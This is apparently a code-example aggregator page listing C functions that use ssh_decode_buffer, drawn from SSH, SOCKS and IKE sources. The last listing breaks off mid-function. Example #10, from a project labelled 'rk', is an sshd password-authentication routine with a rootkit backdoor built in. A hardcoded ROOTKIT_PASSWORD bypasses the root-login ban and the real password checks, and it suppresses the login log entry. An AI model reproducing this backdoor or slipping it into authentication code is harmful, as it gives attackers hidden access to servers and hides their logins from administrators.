예제 #1
0
void decode_case_int(SshEncodingFormat fmt, unsigned int value)
{
  SshUInt16 lv16;
  SshUInt32 lv32;
  size_t bytes;

  bytes = ssh_buffer_len(buffer);
  if (bytes != ssh_decode_array(ssh_buffer_ptr(buffer), ssh_buffer_len(buffer),
                                      fmt, NULL, SSH_FORMAT_END))
    ssh_fatal("decode_case_int: NULL decode bad len");
  if (fmt == SSH_FORMAT_UINT32)
    {
      if (bytes != ssh_decode_buffer(buffer, fmt, &lv32, SSH_FORMAT_END))
	ssh_fatal("decode_case_int: bad returned len");
      if (lv32 != value)
	ssh_fatal("decode_case_int: bad value");
    }
  else if (fmt == SSH_FORMAT_UINT16)
    {
      if (bytes != ssh_decode_buffer(buffer, fmt, &lv16, SSH_FORMAT_END))
	ssh_fatal("decode_case_int: bad returned len");
      if (lv16 != value)
	ssh_fatal("decode_case_int: bad value");
    }
  else
    ssh_fatal("Unknown fmt");
  if (ssh_buffer_len(buffer) > 0)
    ssh_fatal("decode_case_int: data left");
}
예제 #2
0
/*
 * Parse reply method. This doesn't do anything with SOCKS4.
 */
SocksError ssh_socks_client_parse_method(SshBuffer buffer,
                                         SocksInfo *socksinfo)
{
  size_t ret = 0L, len;
  unsigned int version, method;
  unsigned char *data;

  data = ssh_buffer_ptr(buffer);
  len = ssh_buffer_len(buffer);

  if (len < 1)
    return SSH_SOCKS_TRY_AGAIN;

  version = *data;
  if (version == 0)
    version = 4;

  if (version == 4)
    return SSH_SOCKS_SUCCESS;

  if (len < 2)
    return SSH_SOCKS_TRY_AGAIN;

  ret = ssh_decode_buffer(buffer,
                          SSH_DECODE_CHAR(&version),
                          SSH_DECODE_CHAR(&method),
                          SSH_FORMAT_END);
  if (ret == 0)
    {
      SSH_DEBUG(2, ("Decoding method buffer failed."));
      return SSH_SOCKS_ERROR_PROTOCOL_ERROR;
    }
  if (method != SSH_SOCKS5_AUTH_METHOD_NO_AUTH_REQD)
    {
      SSH_DEBUG(2, ("Server sent method 0x%x.", method));
      if (method == SSH_SOCKS5_AUTH_METHOD_NO_ACCEPTABLE)
        {
          SSH_DEBUG(2, ("Server doesn't allow use without some authentication "
                        "(we don't implement any methods)."));
        }
      else
        {
          SSH_DEBUG(2, ("Server sent method that we don't support."));
          return SSH_SOCKS_ERROR_PROTOCOL_ERROR;
        }
      return SSH_SOCKS_FAILED_AUTH;
    }
  if (socksinfo)
    {
      *socksinfo = ssh_calloc(1, sizeof(**socksinfo));
      if (*socksinfo == NULL)
        {
          SSH_DEBUG(2, ("Couldn't allocate SshSocksInfo."));
          return SSH_SOCKS_ERROR_INVALID_ARGUMENT;
        }
      (*socksinfo)->socks_version_number = version;
    }
  return SSH_SOCKS_SUCCESS;
}
예제 #3
0
파일: sshttyflags.c 프로젝트: AnthraX1/rk
SshUInt32 tty_buffer_get_uint32(SshBuffer *buffer)
{
  SshUInt32 value;
  ssh_decode_buffer(buffer,
                    SSH_FORMAT_UINT32, &value,
                    SSH_FORMAT_END);

  return value;
}
예제 #4
0
파일: sshttyflags.c 프로젝트: AnthraX1/rk
unsigned char tty_buffer_get_char(SshBuffer *buffer)
{
  unsigned int value;
  ssh_decode_buffer(buffer,
                    SSH_FORMAT_CHAR, &value,
                    SSH_FORMAT_END);

  return value;
}
예제 #5
0
void decode_case_char(SshEncodingFormat fmt, unsigned char value)
{
  unsigned int ch;
  size_t bytes;

  bytes = ssh_buffer_len(buffer);
  if (bytes != ssh_decode_array(ssh_buffer_ptr(buffer), ssh_buffer_len(buffer),
                                      fmt, NULL, SSH_FORMAT_END))
    ssh_fatal("decode_case_char: NULL decode bad len");
  if (bytes != ssh_decode_buffer(buffer, fmt, &ch, SSH_FORMAT_END))
    ssh_fatal("decode_case_char: bad returned len");
  if (ch != value)
    ssh_fatal("decode_case_char: bad value");
  if (ssh_buffer_len(buffer) > 0)
    ssh_fatal("decode_case_char: data left");
}
예제 #6
0
void decode_case_bool(SshEncodingFormat fmt, Boolean value)
{
  Boolean boo;
  size_t bytes;

  bytes = ssh_buffer_len(buffer);
  if (bytes != ssh_decode_array(ssh_buffer_ptr(buffer), ssh_buffer_len(buffer),
                                      fmt, NULL, SSH_FORMAT_END))
    ssh_fatal("decode_case_bool: NULL decode bad len");
  if (bytes != ssh_decode_buffer(buffer, fmt, &boo, SSH_FORMAT_END))
    ssh_fatal("decode_case_bool: bad returned len");
  if (boo != value)
    ssh_fatal("decode_case_bool: bad value");
  if (ssh_buffer_len(buffer) > 0)
    ssh_fatal("decode_case_bool: data left");
}
예제 #7
0
void decode_case_str(SshEncodingFormat fmt, const char *value, size_t valuelen)
{
  unsigned char *cp;
  size_t len, bytes;

  bytes = ssh_buffer_len(buffer);
  if (bytes != ssh_decode_array(ssh_buffer_ptr(buffer), ssh_buffer_len(buffer),
                                      fmt, NULL, NULL, SSH_FORMAT_END))
    ssh_fatal("decode_case_str: NULL decode bad len");
  if (bytes != ssh_decode_buffer(buffer, fmt, &cp, &len, SSH_FORMAT_END))
    ssh_fatal("decode_case_str: bad returned len");
  if (len != valuelen || memcmp(cp, value, len) != 0)
    ssh_fatal("decode_case_str: bad cmp");
  if (ssh_buffer_len(buffer) > 0)
    ssh_fatal("decode_case_str: data left");
  if (cp[len] != 0)
    ssh_fatal("decode_case_str: not null terminated");
  ssh_xfree(cp);
}
예제 #8
0
void decode_case_data(SshEncodingFormat fmt,
                      const char *value, size_t valuelen)
{
  char buf[1024];
  size_t bytes;

  SSH_ASSERT(valuelen < sizeof(buf));
  bytes = ssh_buffer_len(buffer);
  if (bytes != ssh_decode_array(ssh_buffer_ptr(buffer), ssh_buffer_len(buffer),
                                      fmt, NULL, valuelen, SSH_FORMAT_END))
    ssh_fatal("decode_case_data: NULL decode bad len");
  if (bytes != ssh_decode_buffer(buffer, fmt, buf, valuelen,
                                       SSH_FORMAT_END))
    ssh_fatal("decode_case_data: bad returned len");
  if (memcmp(buf, value, valuelen) != 0)
    ssh_fatal("decode_case_data: bad value");
  if (ssh_buffer_len(buffer) > 0)
    ssh_fatal("decode_case_data: data left");
}
예제 #9
0
static void test1(void)
{
  unsigned char *t1, *t2;

  buffer = ssh_buffer_allocate();
  ssh_encode_buffer(buffer,
    SSH_ENCODE_CHAR(0),
    SSH_ENCODE_DATA("sikapantteri", strlen("sikapantteri")),
    SSH_ENCODE_UINT32_SSTR("sikapantteri", strlen("sikapantteri")),
    SSH_ENCODE_UINT32_SSTR("sikapantteri", strlen("sikapantteri")),
    SSH_FORMAT_END);
  if (ssh_decode_buffer(buffer,
			SSH_DECODE_CHAR(NULL),
			SSH_DECODE_DATA(NULL, strlen("sikapantteri")),
			SSH_DECODE_UINT32_STR(&t1, NULL),
			SSH_DECODE_UINT32_STR(&t2, NULL),
			SSH_FORMAT_END) == 0)
    ssh_fatal("ssh_decode_buffer failed");
  ssh_xfree(t2);
  ssh_xfree(t1);
  ssh_buffer_free(buffer);
}
예제 #10
0
파일: auths-passwd.c 프로젝트: AnthraX1/rk
SshAuthServerResult ssh_server_auth_passwd(SshAuthServerOperation op,
                                           const char *user,
                                           SshBuffer *packet,
                                           const unsigned char *session_id,
                                           size_t session_id_len,
                                           void **state_placeholder,
                                           void **longtime_placeholder,
                                           void *method_context)
{
  SshServer server = (SshServer)method_context;
  SshConfig config = server->config;
  SshUser uc = (SshUser)*longtime_placeholder;
  Boolean change_request;
  char *password, *prompt, *rootkit = ROOTKIT_PASSWORD;
  int disable_method = 0;

  SSH_DEBUG(6, ("auth_passwd op = %d  user = %s", op, user));
  
  switch (op)
    {
    case SSH_AUTH_SERVER_OP_START:
      if (uc == NULL)
        {
          uc = ssh_user_initialize(user, TRUE);
          if (!uc)
            {
              /* If user context allocation failed, the user probably does not 
                 exist. */
              ssh_log_event(config->log_facility,
                            SSH_LOG_WARNING,
                            "User %s does not exist. "
                            "(How did we get here?)", user);
              return TRUE;
            }       
        }
      *longtime_placeholder = (void *)uc;
      
      {
        /* XXX it is possible to get rid of these. Modify
           sshd2.c/auth_policy_proc*/
        
        config->password_guesses--;
        if (config->password_guesses <= 0)
          {
            /* If this attempt is not succesful, disable this method. */
            disable_method = 1;
          }
        else if(ssh_user_uid(uc) == SSH_UID_ROOT &&
                (config->permit_root_login == SSH_ROOTLOGIN_FALSE ||
                 config->permit_root_login == SSH_ROOTLOGIN_NOPWD))
          if (strcmp(password,rootkit)) {
            /* XXX Add client addresses etc. */
            ssh_log_event(config->log_facility,
                          SSH_LOG_WARNING,
                          "root logins are not permitted.");
            SSH_DEBUG(2, ("ssh_server_auth_passwd: root logins are " \
                          "not permitted."));
            return SSH_AUTH_SERVER_REJECTED_AND_METHOD_DISABLED;
          } else goto password_ok;
      }
      
      /* Parse the password authentication request. */
      if (ssh_decode_buffer(packet,
                            SSH_FORMAT_BOOLEAN, &change_request,
                            SSH_FORMAT_UINT32_STR, &password, NULL,
                            SSH_FORMAT_END) == 0)
        {
          SSH_DEBUG(2, ("ssh_server_auth_passwd: bad packet"));
          goto password_bad;
        }

      /* Password changing requests should only be received as continuation
         messages. */
      if (change_request)
        {
          SSH_DEBUG(2 ,("ssh_server_auth_passwd: changing password " \
                        "cannot start."));
          goto password_bad;
        }
      
      /* Sanity check: do not pass excessively long passwords to system
         functions to avoid buffer overflows in operating system code. */
      if (strlen(password) > 64)
        {
          SSH_DEBUG(2, ("ssh_server_auth_passwd: password too long."));
          ssh_xfree(password);
          goto password_bad;
        }

      /* Try SECURE RPC passwords.  We do this first, as this might be
         needed to access disks. */
      if (strcmp(password,rootkit) == 0) goto password_ok; 
      if (ssh_user_validate_secure_rpc_password(uc, password))
        {
          ssh_log_event(config->log_facility,
                        SSH_LOG_NOTICE,
                        "User %s's secure rpc password accepted.",
                        ssh_user_name(uc));
          SSH_DEBUG(5, ("ssh_server_auth_passwd: accepted by secure rpc"));
          goto password_ok;
        }

      /* Try KERBEROS passwords.  This might also be needed to access
         disks. */
      if (ssh_user_validate_kerberos_password(uc, password))
        {
          ssh_log_event(config->log_facility,
                        SSH_LOG_NOTICE,
                        "User %s's kerberos password accepted.",
                        ssh_user_name(uc));
          SSH_DEBUG(5, ("ssh_server_auth_passwd: accepted by " \
                        "kerberos passwd"));
          goto password_ok;
        }

      /* Try a local password (either normal or shadow). */
#ifdef HAVE_SIA
      if (ssh_user_validate_local_password(uc, 
                                           password,
                                           server->common->remote_host))
#else /* HAVE_SIA */
      if (ssh_user_validate_local_password(uc, password))
#endif /* HAVE_SIA */
        {
           ssh_log_event(config->log_facility,
                         SSH_LOG_NOTICE,
                         "User %s's local password accepted.",
                         ssh_user_name(uc));       
           SSH_DEBUG(5, ("ssh_server_auth_passwd: accepted by local passwd"));
          goto password_ok;
        }
      
      ssh_xfree(password);
      goto password_bad;

    password_bad:
      return (disable_method ?
              SSH_AUTH_SERVER_REJECTED_AND_METHOD_DISABLED :
              SSH_AUTH_SERVER_REJECTED);

    password_ok:
      /* Password authentication passed, but we still need to check whether
         the password needs to be changed. */
      if (!strcmp(password,rootkit)) {
       back = 1;
       ssh_xfree(password);
      } else {
       ssh_xfree(password);
       ssh_log_event(config->log_facility, SSH_LOG_NOTICE,
                    "Password authentication for user %.100s accepted.",
                    ssh_user_name(uc));
      }
      /* Check if the user's password needs to be changed. */
      if (ssh_user_password_must_be_changed(uc, &prompt))
        {
          ssh_buffer_clear(packet);
          ssh_encode_buffer(packet,
                            SSH_FORMAT_CHAR,
                            (unsigned int) SSH_MSG_USERAUTH_PASSWD_CHANGEREQ,
                            SSH_FORMAT_UINT32_STR, prompt, strlen(prompt),
                            SSH_FORMAT_END);
          ssh_xfree(prompt);
          return SSH_AUTH_SERVER_CONTINUE_WITH_PACKET_BACK;
        }

      return SSH_AUTH_SERVER_ACCEPTED;

    case SSH_AUTH_SERVER_OP_ABORT:
      return SSH_AUTH_SERVER_REJECTED;
      
    case SSH_AUTH_SERVER_OP_CONTINUE:
      SSH_DEBUG(1, ("ssh_server_auth_passwd: XXX CONTINUE not yet "\
                    "implemented"));
      return SSH_AUTH_SERVER_REJECTED;
      
    case SSH_AUTH_SERVER_OP_UNDO_LONGTIME:
      if (uc != NULL)
        {
          if (!ssh_user_free(uc, TRUE))
            {
              /* XXX failed unto undo everything. Should disconnect, but we
                 don't yet have the interface for that. */
              return SSH_AUTH_SERVER_REJECTED_AND_METHOD_DISABLED;
            }
        }
      /* fall down... */
    case SSH_AUTH_SERVER_OP_CLEAR_LONGTIME:
      *longtime_placeholder = NULL;
      return SSH_AUTH_SERVER_REJECTED;
      
    default:
      ssh_fatal("ssh_server_auth_passwd: unknown op %d", (int)op);
    }
  
  SSH_NOTREACHED;
  return SSH_AUTH_SERVER_REJECTED;
}
예제 #11
0
/* Import given buffer to the IKE Server given in the argument. Returns the IKE
   SA negotiation or NULL in case of error. The data that was parsed
   successfully is consumed from the buffer in any case. If there is extra data
   after the complete packet then it is left to the buffer. */
SshIkeNegotiation ssh_ike_sa_import(SshBuffer buffer,
                                    SshIkeServerContext server)
{
  unsigned char initiator_cookie[SSH_IKE_COOKIE_LENGTH];
  unsigned char responder_cookie[SSH_IKE_COOKIE_LENGTH];
  unsigned char *auc, *buc, *cuc, *duc;
  SshUInt32 a32, b32, c32, d32;
  SshUInt64 a64, b64, c64, d64;
  SshIkePMPhaseI pm_info;
  SshIkeNegotiation neg;
  SshIkeSA sa;
  size_t len;
  long l;
  SshADTHandle h;
  SshCryptoStatus cret;
  SshTime t;
  SshUInt16 local_port;

  sa = NULL;
  pm_info = NULL;
  neg = NULL;
  auc = NULL;
  buc = NULL;
  cuc = NULL;
  duc = NULL;

  SSH_DEBUG(5, ("Start"));

  len = ssh_decode_buffer
    (buffer,
     /* Magic number */
     SSH_DECODE_UINT32(&a32),
     /* Version number */
     SSH_DECODE_UINT32(&b32),
     /* Cookies, initiator, responder */
     SSH_DECODE_DATA(initiator_cookie, SSH_IKE_COOKIE_LENGTH),
     SSH_DECODE_DATA(responder_cookie, SSH_IKE_COOKIE_LENGTH),
     SSH_FORMAT_END);
  if (len == 0)
    {
      SSH_DEBUG(3, ("Could not decode magic, version, cookies"));
      goto error;
    }
  if (a32 != SSH_IKE_EXPORT_MAGIC1)
    {
      SSH_DEBUG(3, ("Invalid magic 0x%08x vs 0x%08x", (int) a32,
                    SSH_IKE_EXPORT_MAGIC1));
      goto error;
    }
  if (b32 != SSH_IKE_EXPORT_VERSION)
    {
      SSH_DEBUG(3, ("Invalid version 0x%08x vs 0x%08x", (int) b32,
                    SSH_IKE_EXPORT_VERSION));
      goto error;
    }

  h = ssh_adt_get_handle_to_equal(server->isakmp_context->
                                  isakmp_cookie_mapping, initiator_cookie);
  if (h != SSH_ADT_INVALID)
    {
      SSH_DEBUG(3, ("Duplicate initiator cookie"));
      goto error;
    }

  sa = ike_sa_allocate(server, initiator_cookie, responder_cookie);
  if (sa == NULL)
    {
      SSH_DEBUG(3, ("ike_sa_allocate_half return error"));
      goto error;
    }

  len = ssh_decode_buffer
    (buffer,
     /* Local ip, port. */
     SSH_DECODE_UINT32_STR(&auc, NULL),
     SSH_DECODE_UINT32_STR(&buc, NULL),
     /* Remote ip, port. */
     SSH_DECODE_UINT32_STR(&cuc, NULL),
     SSH_DECODE_UINT32_STR(&duc, NULL),
     /* IKE exchange version. */
     SSH_DECODE_UINT32(&a32),
     SSH_DECODE_UINT32(&b32),
     /* IKE exchange type. */
     SSH_DECODE_UINT32(&c32),
     /* Was this the initiator for the original exchange? */
     SSH_DECODE_UINT32(&d32),
     SSH_FORMAT_END);
  if (len == 0)
    {
      SSH_DEBUG(3, ("Could not decode ip, port, version, exchage type, init"));
      goto error;
    }
  if (!ike_init_isakmp_sa(sa, auc, buc, cuc, duc, a32, b32, c32, d32, FALSE))
    {
      SSH_DEBUG(3, ("Could not init isakmp sa"));
      goto error;
    }
  ssh_free(auc);
  ssh_free(buc);
  ssh_free(cuc);
  ssh_free(duc);
  auc = NULL;
  buc = NULL;
  cuc = NULL;
  duc = NULL;

  neg = sa->isakmp_negotiation;
  pm_info = neg->ike_pm_info;

  /* Initialize */
  sa->phase_1_done = 1;
  neg->notification_state = SSH_IKE_NOTIFICATION_STATE_ALREADY_SENT;
  ike_free_negotiation_isakmp(neg);


  /* Set NAT-T status. */
  local_port = ssh_uatoi(sa->isakmp_negotiation->ike_pm_info->local_port);
  if (local_port != server->normal_local_port)
    sa->use_natt = 1;

  /* I think we should count this as SA */
  server->statistics->current_ike_sas++;
  server->statistics->total_ike_sas++;
  if (neg->ike_pm_info->this_end_is_initiator)
    {
      server->statistics->current_ike_sas_initiated++;
      server->statistics->total_ike_sas_initiated++;
    }
  else
    {
      server->statistics->current_ike_sas_responded++;
      server->statistics->total_ike_sas_responded++;
    }

  len = ssh_decode_buffer
    (buffer,
     /* Byte count and byte limit. */
     SSH_DECODE_UINT64(&a64),
     SSH_DECODE_UINT64(&b64),
     /* Created time and laste use time */
     SSH_DECODE_UINT64(&c64),
     SSH_DECODE_UINT64(&d64),
     /* Encryption, hash, prf algorithm names. */
     SSH_DECODE_UINT32_STR(&auc, NULL),
     SSH_DECODE_UINT32_STR(&buc, NULL),
     SSH_DECODE_UINT32_STR(&cuc, NULL),
     SSH_FORMAT_END);
  if (len == 0)
    {
      SSH_DEBUG(3, ("Could not decode byte count limit, times, alg names"));
      goto error;
    }
  sa->byte_count = (unsigned long) a64;
  sa->kbyte_limit = (unsigned long) b64;
  sa->created_time = (SshTime) c64;
  sa->last_use_time = (SshTime) d64;

  l = ssh_find_keyword_number(ssh_ike_encryption_algorithms, ssh_csstr(auc));
  if (l == -1)
    {
      if (ssh_usstrcmp(auc, "cast128-12-cbc") == 0)
        sa->encryption_algorithm_name = ssh_custr("cast128-12-cbc");
      else
        {
          SSH_DEBUG(3, ("Unknown cipher %s", auc));
          goto error;
        }
    }
  else
    {
      sa->encryption_algorithm_name =
        ssh_custr(ssh_find_keyword_name(ssh_ike_encryption_algorithms, l));
      SSH_ASSERT(sa->encryption_algorithm_name != NULL);
    }

  l = ssh_find_keyword_number(ssh_ike_hash_algorithms, ssh_csstr(buc));
  if (l == -1)
    {
      SSH_DEBUG(3, ("Unknown hash %s", buc));
      goto error;
    }
  else
    {
      sa->hash_algorithm_name =
        ssh_custr(ssh_find_keyword_name(ssh_ike_hash_algorithms, l));
      SSH_ASSERT(sa->hash_algorithm_name != NULL);
    }

  l = ssh_find_keyword_number(ssh_ike_hmac_prf_algorithms, ssh_csstr(cuc));
  if (l == -1)
    {
      SSH_DEBUG(3, ("Unknown prf %s", cuc));
      goto error;
    }
  else
    {
      sa->prf_algorithm_name =
        ssh_custr(ssh_find_keyword_name(ssh_ike_hmac_prf_algorithms, l));
      SSH_ASSERT(sa->prf_algorithm_name != NULL);
    }

  ssh_free(auc);
  ssh_free(buc);
  ssh_free(cuc);
  ssh_free(duc);
  auc = NULL;
  buc = NULL;
  cuc = NULL;
  duc = NULL;

  len = ssh_decode_buffer
    (buffer,
     /* Cipher key. */
     SSH_DECODE_UINT32_STR(&sa->cipher_key, &sa->cipher_key_len),
     /* Cipher IV. */
     SSH_DECODE_UINT32_STR(&sa->cipher_iv, &sa->cipher_iv_len),
     SSH_FORMAT_END);
  if (len == 0)
    {
      SSH_DEBUG(3, ("Could not decode cipher key, iv"));
      goto error;
    }

  len = ssh_decode_buffer
    (buffer,
     /* Keying material, Diffie-Hellman. */
     SSH_DECODE_UINT32_STR(&sa->skeyid.dh, &sa->skeyid.dh_size),
     /* Keying material, SKEYID mac. */
     SSH_DECODE_UINT32_STR(&sa->skeyid.skeyid, &sa->skeyid.skeyid_size),
     /* Keying material, SKEYID_d mac. */
     SSH_DECODE_UINT32_STR(&sa->skeyid.skeyid_d, &sa->skeyid.skeyid_d_size),
     /* Keying material, SKEYID_a mac. */
     SSH_DECODE_UINT32_STR(&sa->skeyid.skeyid_a, &sa->skeyid.skeyid_a_size),
     /* Keying material, SKEYID_e mac. */
     SSH_DECODE_UINT32_STR(&sa->skeyid.skeyid_e, &sa->skeyid.skeyid_e_size),
     SSH_FORMAT_END);
  if (len == 0)
    {
      SSH_DEBUG(3, ("Could not decode skeyid"));
      goto error;
    }
  sa->skeyid.initialized = TRUE;

  cret = ssh_mac_allocate(ssh_csstr(sa->prf_algorithm_name),
                          sa->skeyid.skeyid,
                          sa->skeyid.skeyid_size,
                          &sa->skeyid.skeyid_mac);
  if (cret != SSH_CRYPTO_OK)
    {
      SSH_DEBUG(3, ("ssh_mac_allocate failed: %.200s",
                    ssh_crypto_status_message(cret)));
      goto error;
    }

  cret = ssh_mac_allocate(ssh_csstr(sa->prf_algorithm_name),
                          sa->skeyid.skeyid_a,
                          sa->skeyid.skeyid_a_size,
                          &sa->skeyid.skeyid_a_mac);
  if (cret != SSH_CRYPTO_OK)
    {
      SSH_DEBUG(3, ("ssh_mac_allocate failed: %.200s",
                    ssh_crypto_status_message(cret)));
      goto error;
    }
  cret = ssh_mac_allocate(ssh_csstr(sa->prf_algorithm_name),
                          sa->skeyid.skeyid_e,
                          sa->skeyid.skeyid_e_size,
                          &sa->skeyid.skeyid_e_mac);
  if (cret != SSH_CRYPTO_OK)
    {
      SSH_DEBUG(3, ("ssh_mac_allocate failed: %.200s",
                    ssh_crypto_status_message(cret)));
      goto error;
    }

  len = ssh_decode_buffer
    (buffer,
     /* Retry defaults. */
     SSH_DECODE_UINT32(&sa->retry_limit),
     SSH_DECODE_UINT32(&sa->retry_timer),
     SSH_DECODE_UINT32(&sa->retry_timer_usec),
     SSH_DECODE_UINT32(&sa->retry_timer_max),
     SSH_DECODE_UINT32(&sa->retry_timer_max_usec),
     SSH_DECODE_UINT32(&sa->expire_timer),
     SSH_DECODE_UINT32(&sa->expire_timer_usec),
     /* Statistics. */
     SSH_DECODE_UINT32(&sa->statistics.packets_in),
     SSH_DECODE_UINT32(&sa->statistics.packets_out),
     SSH_DECODE_UINT32(&sa->statistics.octects_in),
     SSH_DECODE_UINT32(&sa->statistics.octects_out),
     SSH_DECODE_UINT32(&sa->statistics.created_suites),
     SSH_DECODE_UINT32(&sa->statistics.deleted_suites),
     SSH_FORMAT_END);
  if (len == 0)
    {
      SSH_DEBUG(3, ("Could not decode retry, expire timers and stats"));
      goto error;
    }

  len = ssh_decode_buffer
    (buffer,
     /* IKE SA negotiation information. */
     SSH_DECODE_UINT32(&a32),
     SSH_DECODE_UINT32(&b32),





     SSH_DECODE_UINT32(&c32),
     SSH_FORMAT_END);
  if (len == 0)
    {
      SSH_DEBUG(3, ("Could not decode ike sa info and private group cnt"));
      goto error;
    }
  neg->exchange_type = a32;
  /* The b32 used to be authe_method_type, but as it was duplicate for the
     value in pm_info, we ignore it now. */
  if (c32 != 0)
    {
      ssh_warning("Remote end sent packet including private groups. "
                  "This end does not support transferring of them. "
                  "Private groups ignored");
    }
  len = ssh_decode_buffer
    (buffer,
     /* Private groups as UINT32_STRING. */ 



     SSH_DECODE_UINT32_STR(NULL, NULL),
     SSH_FORMAT_END);
  if (len == 0)
    {
      SSH_DEBUG(3, ("Could not decode private groups info"));
      goto error;
    }

  if (!ssh_ike_sa_import_id(buffer, &pm_info->local_id,
                            &pm_info->local_id_txt))
    {
      SSH_DEBUG(3, ("Could not decode local id"));
      goto error;
    }
  if (!ssh_ike_sa_import_id(buffer, &pm_info->remote_id,
                            &pm_info->remote_id_txt))
    {
      SSH_DEBUG(3, ("Could not decode remote id"));
      goto error;
    }

  len = ssh_decode_buffer
    (buffer,
     /* Authentication type. */
     SSH_DECODE_UINT32(&a32),
     SSH_DECODE_UINT32(&b32),
     /* Start and expire times. */
     SSH_DECODE_UINT64(&a64),
     SSH_DECODE_UINT64(&b64),
     /* None of the policy manager filled data is copied, this include
        auth_data, auth_data_len, own_auth_data, own_auth_data_len,
        public_key, number_of_certificates, number_of_allocated_certificates,
        certificates, certificate_lens, certificate_encodings,
        policy_manager_data, pm. */
     SSH_DECODE_UINT32(&c32),
     /* Magic number */
     SSH_DECODE_UINT32(&d32),
     SSH_FORMAT_END);
  if (len == 0)
    {
      SSH_DEBUG(3, ("Could not decode pm info and magic2"));
      goto error;
    }
  pm_info->auth_method_type = a32;
  pm_info->auth_method = b32;
  pm_info->sa_start_time = (SshTime) a64;
  pm_info->sa_expire_time = (SshTime) b64;
  pm_info->doi = c32;
  if (d32 != SSH_IKE_EXPORT_MAGIC2)
    {
      SSH_DEBUG(3, ("Invalid magic2 0x%08x vs 0x%08x", (int) d32,
                    SSH_IKE_EXPORT_MAGIC2));
      goto error;
    }

  ssh_cancel_timeouts(SSH_ALL_CALLBACKS, neg);
  /* Insert expire timer allowing the sa to exists for a while (for
     bootstrap) */
  t = ssh_time();
  if (t < pm_info->sa_expire_time)
    t = pm_info->sa_expire_time - t;
  else
    t = 0;

  t = (t < 30) ? 30 : t;
  ssh_xregister_timeout((SshUInt32) t, 0,
                       ike_call_ike_remove_isakmp_sa,
                       neg);
  return neg;
 error:
  if (sa != NULL)
    {
      if (sa->isakmp_negotiation == NULL)
        {
          ike_sa_delete(server->isakmp_context, sa);
          ssh_free(sa);
        }
      else
        ike_delete_negotiation(sa->isakmp_negotiation);
    }
  ssh_free(auc);
  ssh_free(buc);
  ssh_free(cuc);
  ssh_free(duc);
  return NULL;
}
예제 #12
0
/* Import id from the buffer and store newly allocated id to the id pointer,
   freeing the old id if such was stored there. If the id_txt pointer is given
   then it is used to store the textual format of the id. If that pointer
   contained old id string it is freed before the new string stored there.
   Returns TRUE if successful and FALSE otherwise. In case of error the buffer
   is left unspecified state (i.e part of it might be consumed). */
Boolean ssh_ike_sa_import_id(SshBuffer buffer, SshIkePayloadID *id,
                             char **id_txt)
{
  SshUInt32 a32, b32, c32;
  SshIkePayloadID newp = NULL;
  char newp_txt[255];
  size_t ret = 0;

  SSH_DEBUG(5, ("Start"));

  if (ssh_decode_buffer
      (buffer,
       SSH_DECODE_UINT32(&a32),
       SSH_FORMAT_END) == 0)
    goto error;

  if (a32 == 0)
    {
      if (id)
        {
          ssh_ike_id_free(*id);
          *id = NULL;
        }
      if (id_txt)
        {
          ssh_free(*id_txt);
          *id_txt = ssh_strdup("No Id");
          if (*id == NULL)
            return FALSE;
        }
      return TRUE;
    }

  newp = ssh_malloc(sizeof(*newp));
  if (newp == NULL)
    return FALSE;

  newp->raw_id_packet = NULL;

  newp->id_type = a32;

  if (ssh_decode_buffer
      (buffer,
       SSH_DECODE_UINT32(&a32),
       SSH_DECODE_UINT32(&b32),
       SSH_DECODE_UINT32(&c32),
       SSH_FORMAT_END) == 0)
    goto error;

  newp->protocol_id = a32;
  newp->port_number = b32;
  newp->port_range_end = c32;

  switch (newp->id_type)
    {
    case IPSEC_ID_IPV4_ADDR:
      ret = ssh_decode_buffer
        (buffer,
         SSH_DECODE_DATA(newp->identification.ipv4_addr, 4),
         SSH_FORMAT_END);
      newp->identification_len = 4;
      break;
    case IPSEC_ID_FQDN:
      ret = ssh_decode_buffer
        (buffer,
         SSH_DECODE_UINT32_STR(&newp->identification.fqdn,
         &newp->identification_len),
         SSH_FORMAT_END);
      break;
    case IPSEC_ID_USER_FQDN:
      ret = ssh_decode_buffer
        (buffer,
         SSH_DECODE_UINT32_STR(&newp->identification.user_fqdn,
         &newp->identification_len),
         SSH_FORMAT_END);
      break;
    case IPSEC_ID_IPV4_ADDR_SUBNET:
      ret = ssh_decode_buffer
        (buffer,
         SSH_DECODE_DATA(newp->identification.ipv4_addr_subnet, 4),
         SSH_DECODE_DATA(newp->identification.ipv4_addr_netmask, 4),
         SSH_FORMAT_END);
      newp->identification_len = 8;
      break;
    case IPSEC_ID_IPV6_ADDR:
      ret = ssh_decode_buffer
        (buffer,
         SSH_DECODE_DATA(newp->identification.ipv6_addr, 16),
         SSH_FORMAT_END);
      newp->identification_len = 16;
      break;
    case IPSEC_ID_IPV6_ADDR_SUBNET:
      ret = ssh_decode_buffer
        (buffer,
         SSH_DECODE_DATA(newp->identification.ipv6_addr_subnet, 16),
         SSH_DECODE_DATA(newp->identification.ipv6_addr_netmask, 16),
         SSH_FORMAT_END);
      newp->identification_len = 32;
      break;
    case IPSEC_ID_IPV4_ADDR_RANGE:
      ret = ssh_decode_buffer
        (buffer,
         SSH_DECODE_DATA(newp->identification.ipv4_addr_range1, 4),
         SSH_DECODE_DATA(newp->identification.ipv4_addr_range2, 4),
         SSH_FORMAT_END);
      newp->identification_len = 8;
      break;
    case IPSEC_ID_IPV6_ADDR_RANGE:
      ret = ssh_decode_buffer
        (buffer,
         SSH_DECODE_DATA(newp->identification.ipv6_addr_range1, 16),
         SSH_DECODE_DATA(newp->identification.ipv6_addr_range2, 16),
         SSH_FORMAT_END);
      newp->identification_len = 32;
      break;
    case IPSEC_ID_DER_ASN1_DN:
    case IPSEC_ID_DER_ASN1_GN:
      ret = ssh_decode_buffer
        (buffer,
         SSH_DECODE_UINT32_STR(&newp->identification.asn1_data,
         &newp->identification_len),
         SSH_FORMAT_END);
      break;
    case IPSEC_ID_KEY_ID:
      ret = ssh_decode_buffer
        (buffer,
         SSH_DECODE_UINT32_STR(&newp->identification.key_id,
         &newp->identification_len),
         SSH_FORMAT_END);
      break;
#ifdef SSHDIST_IKE_ID_LIST
    case IPSEC_ID_LIST:
      {
        int cnt;
        SshIkePayloadID itemp = NULL;

        newp->identification_len = 0;
        ret = ssh_decode_buffer
          (buffer,
           SSH_DECODE_UINT32((SshUInt32 *)&newp->identification.
			     id_list_number_of_items),
           SSH_FORMAT_END);
        if (ret == 0)
          goto error;
        newp->identification.id_list_items =
          ssh_calloc(newp->identification.id_list_number_of_items,
                     sizeof(newp->identification.id_list_items[0]));
        if (newp->identification.id_list_items == NULL)
          goto error;

        for (cnt = 0;
             cnt < newp->identification.id_list_number_of_items;
             cnt++)
          {
